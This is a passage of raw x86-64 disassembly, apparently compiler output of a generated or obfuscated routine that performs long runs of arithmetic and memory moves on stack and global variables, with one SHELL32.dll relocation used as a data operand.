mov qword [rsp + 0xe260], rax
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xdd70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xc888]
mov qword [rsp + 0xe268], rax
mov eax, dword [rsp + 0x6a78]
mov ecx, dword [rsp + 0x6978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c90], eax
mov rax, qword [rsp + 0xd2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd3e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc40]
mov eax, dword [rax]
mov dword [rsp + 0x6e28], eax
lea rax, [rsp + 0xba]
mov qword [0x1402c95c0], rax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x112], al
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xe1b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1968]
add eax, ecx
mov rcx, qword [rsp + 0xd740]
mov word [rcx], ax
movsx eax, word [rsp + 0x1598]
movsx ecx, word [0x1402c9318]
or eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0xd700]
mov qword [rsp + 0xe270], rax
mov rax, qword [rsp + 0xddb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bf0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ad4], eax
mov rax, qword [rsp + 0xd350]
mov eax, dword [rax]
mov dword [rsp + 0x6e2c], eax
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0xd518]
mov qword [rsp + 0xe278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe278]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd8a8], rax
lea rax, [rsp + 0x19a4]
mov qword [0x1402c95c8], rax
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15d], al
mov rax, qword [0x1402c9500]
movzx eax, byte [rax]
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0xdf30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0x1824]
mov qword [rsp + 0xe280], rax
mov rax, qword [rsp + 0xc2f8]
mov ecx, dword [rsp + 0x6a14]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6bdc], eax
mov rax, qword [rsp + 0xd6e0]
mov rcx, qword [rsp + 0xe238]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc730], rax
lea rax, [rsp + 0x6c08]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xdc28]
mov rcx, qword [rsp + 0xc990]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcfe0], rax
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1928]
sub eax, ecx
mov word [0x1402c9454], ax
movsx eax, word [rsp + 0x1884]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1760], ax
mov rax, qword [rsp + 0xd1f8]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0xdf98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd760]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0xd0c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b3c], eax
lea rax, [rsp + 0xd4e0]
mov qword [rsp + 0xe290], rax
mov rax, qword [rsp + 0xc8f0]
mov ecx, dword [rsp + 0x6d50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe1f8]
mov dword [rcx], eax
lea rax, [rsp + 0xbbf0]
mov qword [rsp + 0xe298], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d0]
sub eax, ecx
mov word [rsp + 0x19e8], ax
mov rax, qword [rsp + 0xc5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1938]
add eax, ecx
mov rcx, qword [0x1402c94f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x140]
xor eax, ecx
mov rcx, qword [rsp + 0xdfd8]
mov byte [rcx], al
lea rax, [rsp + 0x17f]
mov qword [rsp + 0xe2a0], rax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90de]
shl eax, cl
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x6d54]
mov dword [rsp + 0x6e30], eax
mov rax, qword [rsp + 0xc958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd470]
mov qword [rsp + 0xe2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xc638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [rsp + 0xc9f0]
mov qword [rsp + 0xe2b0], rax
mov rax, qword [rsp + 0xdfd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
and eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
lea rax, [rsp + 0x1720]
mov qword [0x1402c95d0], rax
lea rax, [rsp + 0x1874]
mov qword [rsp + 0xe2b8], rax
mov rax, qword [rsp + 0xcf48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
imul eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0xd110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1748], ax
lea rax, [rsp + 0x6df4]
mov qword [rsp + 0xe2c0], rax
mov rax, qword [rsp + 0xd900]
mov rcx, qword [rsp + 0xca50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbde8], rax
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0xe2c8], rax
mov rax, qword [rsp + 0xcfc8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd698], rax
lea rax, [rsp + 0x57]
mov qword [rsp + 0xe2d0], rax
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xcac0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90a4], al
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1924], ax
movsx eax, word [rsp + 0x1a40]
movsx ecx, word [rsp + 0x1698]
and eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
lea rax, [rsp + 0x17e4]
mov qword [rsp + 0xe2d8], rax
mov rax, qword [0x1402c9358]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd338]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe0a8]
mov eax, dword [rax]
mov dword [rsp + 0x6e34], eax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [rsp + 0xbf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xd250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc170]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb28], rax
mov eax, dword [rsp + 0x6d98]
mov dword [rsp + 0x6e38], eax
mov rax, qword [rsp + 0xd670]
movzx eax, byte [rax]
mov byte [0x1402c9122], al
mov rax, qword [0x1402c92f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1798], ax
movzx eax, byte [rsp + 0x18a]
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd1b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x16b], al
mov rax, qword [0x1402c9210]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd298]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov qword [rsp + 0xe2e0], rax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d44]
shr eax, cl
mov rcx, qword [rsp + 0xdae0]
mov dword [rcx], eax
lea rax, [rsp + 0xcb70]
mov qword [rsp + 0xe2e8], rax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69e0], eax
movsx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0xc260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74d4], ax
movzx eax, word [rsp + 0x161c]
mov word [rsp + 0x1a6c], ax
movzx eax, byte [rsp + 0xc4]
movzx ecx, byte [rsp + 0x140]
sub eax, ecx
mov byte [rsp + 0xfd], al
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [0x1402c74de]
add eax, ecx
mov rcx, qword [rsp + 0xc470]
mov byte [rcx], al
movzx eax, word [rsp + 0x1884]
mov word [rsp + 0x1a70], ax
mov rax, qword [rsp + 0xbbf8]
mov rcx, qword [rsp + 0xc748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bec], eax
mov rax, qword [rsp + 0xcf58]
mov qword [rsp + 0xe2f0], rax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xbcc0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc778], rax
mov eax, dword [rsp + 0x6e34]
mov ecx, dword [rsp + 0x6cc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdac0]
mov dword [rcx], eax
lea rax, [rsp + 0x1688]
mov qword [0x1402c95d8], rax
mov rax, qword [0x1402c91c8]
movzx eax, byte [rax]
mov byte [rsp + 0x19b], al
movzx eax, word [rsp + 0x1a5c]
movzx ecx, word [rsp + 0x16cc]
and eax, ecx
mov word [rsp + 0x174c], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0xe2f8], rax
movzx eax, word [rsp + 0x16c4]
imul eax, eax, 0xca8
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xce38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc4], eax
lea rax, [rsp + 0xdb50]
mov qword [rsp + 0xe300], rax
mov eax, dword [rsp + 0x6a54]
mov ecx, dword [0x1402c7498]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a74], eax
lea rax, [rsp + 0xd0c8]
mov qword [rsp + 0xe308], rax
mov rax, qword [rsp + 0xcac8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17f8]
or eax, ecx
mov word [0x1402c75ac], ax
movzx eax, byte [0x1402c74a2]
mov rcx, qword [rsp + 0xe100]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xd928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
sar eax, cl
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0xcc50]
movzx eax, word [rax]
mov word [rsp + 0x1a74], ax
mov rax, qword [0x1402c9348]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
sub eax, ecx
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x6dc0]
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xde18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc290]
mov dword [rcx], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xe310], rax
mov rax, qword [rsp + 0xdab0]
mov rcx, qword [rsp + 0xd598]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd910]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
sub eax, ecx
mov byte [0x1402c74c6], al
mov rax, qword [rsp + 0xddb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1878]
add eax, ecx
mov rcx, qword [rsp + 0xd938]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbc0]
movzx eax, word [rax]
mov word [rsp + 0x1a78], ax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xd4c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0xdc30]
movzx eax, word [rax]
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc990], rax
mov rax, qword [rsp + 0xc5a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b00]
mov dword [rsp + 0x6e40], eax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90de]
and eax, ecx
mov byte [0x1402c7512], al
movzx eax, word [rsp + 0x1804]
mov word [rsp + 0x1a80], ax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
movsx eax, word [0x1402c7578]
movsx ecx, word [rsp + 0x17b8]
sar eax, cl
mov word [rsp + 0x18b0], ax
lea rax, [rsp + 0x1904]
mov qword [rsp + 0xe318], rax
mov rax, qword [rsp + 0xcca0]
mov rcx, qword [rsp + 0xc8b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc008]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd00]
mov qword [rsp + 0xe320], rax
mov rax, qword [rsp + 0xbf78]
mov ecx, dword [rsp + 0x69a0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd9b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc638]
mov eax, dword [rax]
mov dword [rsp + 0x6e44], eax
movsx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x1402c9100]
mov byte [rcx], al
mov rax, qword [rsp + 0xd020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a44], ax
movzx eax, byte [0x1402c74b7]
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1668]
and eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xc188]
mov qword [rsp + 0xe328], rax
mov rax, qword [rsp + 0xdaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xd538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc980]
mov qword [rsp + 0xe330], rax
mov rax, qword [rsp + 0xd1e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x167]
sub eax, ecx
mov byte [rsp + 0x183], al
movzx eax, word [rsp + 0x1714]
movzx ecx, word [rsp + 0x1a5c]
add eax, ecx
mov word [0x1402c755c], ax
lea rax, [rsp + 0x1794]
mov qword [rsp + 0xe338], rax
movzx eax, byte [reloc.SHELL32.dll_ILGetNext]
mov rcx, qword [rsp + 0xe100]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc3c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov byte [rsp + 0x198], al
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0xe340], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xde50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe248], rax
mov rax, qword [rsp + 0xdf78]
mov qword [rsp + 0xe348], rax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xc738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cd4], eax
movzx eax, byte [0x1402c74b3]
mov rcx, qword [rsp + 0xce40]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbf20]
mov byte [rcx], al
lea rax, [rsp + 0x1938]
mov qword [0x1402c95e0], rax
movzx eax, word [rsp + 0x1730]
mov word [rsp + 0x1a84], ax
movsx eax, byte [rsp + 0x119]
movsx ecx, byte [rsp + 0x76]
sar eax, cl
mov byte [rsp + 0x7e], al
lea rax, [rsp + 0x159]
mov qword [rsp + 0xe350], rax
mov eax, dword [rsp + 0x6c2c]
mov ecx, dword [rsp + 0x6ad4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
lea rax, [rsp + 0xc668]
mov qword [rsp + 0xe358], rax
mov rax, qword [rsp + 0xde18]
mov ecx, dword [rsp + 0x6c50]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xd578]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd4d0], rax
lea rax, [0x1402c7584]
mov qword [rsp + 0xe360], rax
movsx eax, word [rsp + 0x19b4]
movsx ecx, word [rsp + 0x1658]
add eax, ecx
mov word [0x1402c74e0], ax
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
movzx eax, word [rsp + 0x17c0]
mov word [rsp + 0x1a88], ax
mov rax, qword [rsp + 0xdf28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17d8]
and eax, ecx
mov rcx, qword [rsp + 0xc8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd5b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd7c0]
mov rax, qword [rax]
mov qword [rsp + 0xe368], rax
mov rax, qword [rsp + 0xe220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov qword [rsp + 0xe370], rax
movsx eax, word [rsp + 0x1a58]
mov rcx, qword [rsp + 0xe188]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd328]
mov word [rcx], ax
movzx eax, byte [rsp + 0x75]
mov byte [0x1402c9123], al
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, byte [reloc.SHELL32.dll_ILGetNext]
mov byte [rsp + 0x19d], al
mov rax, qword [rsp + 0xdf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x171c]
add eax, ecx
mov word [rsp + 0x1a28], ax
movzx eax, word [rsp + 0x18e0]
mov word [rsp + 0x1a8c], ax
mov eax, dword [0x1402c90a0]
movzx ecx, al
mov eax, dword [rsp + 0x6c50]
shr eax, cl
mov rcx, qword [rsp + 0xd5b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xd310]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
lea rax, [rsp + 0xe170]
mov qword [rsp + 0xe378], rax
mov rax, qword [rsp + 0xe0f0]
mov rcx, qword [rsp + 0xcbd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b4c], eax
movsx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0xd958]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c90b2], al
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x19e], al
movzx eax, word [rsp + 0x19a4]
movzx ecx, word [rsp + 0x193c]
imul eax, ecx
mov rcx, qword [rsp + 0xca60]
mov word [rcx], ax
mov rax, qword [rsp + 0xc528]
movzx eax, word [rax]
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0xe1c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
and eax, ecx
mov rcx, qword [rsp + 0xd078]
mov byte [rcx], al
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xbfb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xc280]
mov rax, qword [rax]
mov qword [rsp + 0xe380], rax
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xd410]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd9c0]
mov dword [rcx], eax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6e48], eax
movzx eax, word [rsp + 0x179c]
movzx ecx, word [rsp + 0x1a6c]
add eax, ecx
mov word [0x1402c75b0], ax
mov rax, qword [rsp + 0xd988]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0xc248]
mov byte [rcx], al
movzx eax, word [rsp + 0x1980]
movzx ecx, word [rsp + 0x1798]
and eax, ecx
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0xd3b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
add eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd38]
mov eax, dword [rax]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0xccc8]
mov rcx, qword [rsp + 0xd5f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69e8], eax
mov rax, qword [rsp + 0xc1e8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc400]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf20]
mov qword [rsp + 0xe388], rax
lea rax, [rsp + 0x1538]
mov qword [0x1402c95e8], rax
movsx eax, word [rsp + 0x1710]
mov rcx, qword [rsp + 0xda68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1974], ax
lea rax, [0x1402c74ca]
mov qword [rsp + 0xe390], rax
mov rax, qword [rsp + 0xd200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x122]
or eax, ecx
mov rcx, qword [rsp + 0xd200]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf6]
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0xc7b0]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xdc08]
movzx ecx, al
mov rax, qword [rsp + 0xbd40]
shl rax, cl
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0xd358]
mov qword [rsp + 0xe398], rax
mov eax, dword [rsp + 0x6d54]
mov rcx, qword [rsp + 0xc540]
mov qword [rsp + 0xe3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c95b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1908]
mov word [rsp + 0x1a98], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x89]
sub eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
movzx eax, word [rsp + 0x19e0]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov word [rsp + 0x1a74], ax
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xe3a8], rax
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xdea0]
mov rax, qword [rax]
mov qword [rsp + 0xe3b0], rax
mov eax, dword [rsp + 0x6bfc]
mov ecx, dword [rsp + 0x69b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6988], eax
mov rax, qword [rsp + 0xc2f8]
mov rcx, qword [rsp + 0xe228]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c80], eax
lea rax, [rsp + 0x1850]
mov qword [0x1402c95f0], rax
mov rax, qword [rsp + 0xc8f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0xd078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc918]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a1], al
mov rax, qword [rsp + 0xdf98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0xc608]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe238]
mov qword [rcx], rax
lea rax, [rsp + 0xd4b0]
mov qword [rsp + 0xe3b8], rax
mov rax, qword [rsp + 0xc9b8]
mov ecx, dword [rsp + 0x6c38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ac8], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xe3c0], rax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1654]
mov rcx, qword [rsp + 0xdd18]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1668], ax
lea rax, [0x1402c749e]
mov qword [rsp + 0xe3c8], rax
movzx eax, word [rsp + 0x17e8]
movzx ecx, word [rsp + 0x164c]
cdq
idiv ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0xdf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1634]
sar eax, cl
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0x6df4]
mov qword [rsp + 0xe3d0], rax
mov rax, qword [rsp + 0xdfb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd58]
mov qword [rsp + 0xe3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd6e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc898]
mov qword [rsp + 0xe3e0], rax
mov rax, qword [rsp + 0xd9c0]
mov ecx, dword [rsp + 0x6cd0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6dd4], eax
mov rax, qword [rsp + 0xdc18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9d]
add eax, ecx
mov byte [0x1402c7513], al
movsx eax, word [rsp + 0x1820]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1628], ax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xd440]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0xdee8]
